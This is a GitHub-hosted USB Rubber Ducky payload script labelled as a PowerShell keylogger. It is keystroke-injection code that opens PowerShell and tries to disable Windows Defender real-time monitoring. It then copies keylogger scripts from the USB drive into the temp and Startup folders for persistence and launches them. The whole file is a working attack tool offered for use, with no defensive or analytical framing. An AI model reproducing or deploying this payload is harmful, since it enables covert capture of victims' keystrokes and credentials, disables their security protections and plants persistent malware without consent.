-
Notifications
You must be signed in to change notification settings - Fork 14
/
payload.txt
32 lines (26 loc) · 849 Bytes
/
payload.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
REM Powershell Keylogger for the USB RubberDucky
REM created by : C0SM0
REM STAGE1
REM open runbox
DELAY 1000
GUI r
DELAY 200
STRING powershell
ENTER
DELAY 300
REM STAGE2
REM attempts to disable defender
STRING Set-MpPreference -DisableRealtimeMonitoring $true;
REM STAGE 3
REM move files to appropiate directories
REM change 'L' to the name of your ducky
STRING $u=gwmi Win32_Volume|?{$_.Label -eq'L'}|select name;cd $u.name;cp .\p.ps1 $env:temp;cp .\l.ps1 $env:temp;cp .\c.cmd "C:/Users/$env:UserName/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup";cd $env:temp;echo "">"$env:UserName.log";
ENTER
DELAY 200
REM comment out the option you decide NOT to use
REM STAGE 4
REM run keylogger
STRING cd "C:/Users/$env:UserName/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup";.\c.cmd;exit
REM STAGE 5
REM deploy
ENTER